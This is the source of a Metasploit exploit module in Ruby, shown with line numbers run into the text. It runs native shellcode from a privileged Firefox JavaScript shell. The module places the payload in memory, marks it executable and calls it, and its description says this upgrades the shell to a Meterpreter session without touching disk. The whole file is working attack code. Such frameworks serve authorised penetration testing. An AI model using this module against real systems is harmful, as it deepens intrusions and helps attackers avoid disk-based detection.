Path: blob/master/modules/exploits/firefox/local/exec_shellcode.rb
31240 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking # Missing autodetection, but has widespread targetability78include Msf::Payload::Firefox9include Msf::Exploit::Remote::FirefoxPrivilegeEscalation1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Firefox Exec Shellcode from Privileged Javascript Shell',16'Description' => %q{17This module allows execution of native payloads from a privileged Firefox Javascript shell.18It places the specified payload into memory, adds the necessary protection flags,19and calls it, which can be useful for upgrading a Firefox javascript shell to a Meterpreter20session without touching the disk.21},22'License' => MSF_LICENSE,23'Author' => [ 'joev' ],24'DisclosureDate' => '2014-03-10',25'Targets' => [26[27'Native Payload', {28'Platform' => %w[linux osx win unix],29'Arch' => ARCH_ALL30}31]32],33'Notes' => {34'Reliability' => [ REPEATABLE_SESSION ],35'Stability' => [ CRASH_SAFE ],36'SideEffects' => [ IOC_IN_LOGS ]37},38'DefaultTarget' => 039)40)4142register_options([43OptInt.new('TIMEOUT', [true, 'Maximum time (seconds) to wait for a response', 90])44])45end4647def exploit48print_status('Running the JavaScript shell...')49session.shell_write("[JAVASCRIPT]#{js_payload}[/JAVASCRIPT]")50results = session.shell_read_until_token('[!JAVASCRIPT]', 0, datastore['TIMEOUT'])51print_warning(results) if results.present?52end5354def js_payload55%|56(function(send){57try {58#{run_payload}59send("Payload executed.");60} catch (e) {61send(e);62}63})(send);64|.strip65end66end676869